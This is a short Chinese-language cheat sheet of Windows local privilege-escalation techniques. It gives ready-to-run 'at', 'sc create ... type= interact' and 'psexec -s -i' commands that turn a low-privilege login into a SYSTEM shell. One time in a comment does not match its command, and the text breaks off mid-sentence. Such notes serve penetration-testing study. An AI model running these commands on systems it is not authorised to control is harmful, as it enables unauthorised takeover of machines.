0x001 at命令提权
at 命令提权的原理:at
命令是一个计划命令,可以在规定时间完成一些操作,这个命令调用的是system
权限。
适用版本:Win2000 & Win2003 & XP
中还是存在的,在Win7
以后被剔除
当我们拿到一个低权限的用户,通过3389
端口远程连接上后,可以通过at
命令来进行本地提权。
at 12:31 /interactive cmd (在19:39分生成一个交互式的System权限的cmd)
0x002 sc命令提权
命令介绍:SC 是用于与服务控制管理器和服务进行通信的命令行程序。提供的功能类似于“控制面板”中“管理工具”项中的“服务”。
适用版本:windows 7、8、03、08、12、16
提权命令:
# 这个命令的意思是创建一个名叫syscmd的新的交互式的cmd服务
sc Create syscmd binPath= "cmd /K start" type= own type= interact
# 然后执行
sc start syscmd # 就得到了一个system权限的cmd环境
0x003 ps命令提权
微软官方工具包:https://docs.microsoft.com/zh-cn/sysinternals/downloads/pstools
适用版本:Win2003 & Win2008
包含工具目录:
提权命令:
psexec.exe -accepteula -s -i -d notepad.exe
在win2008中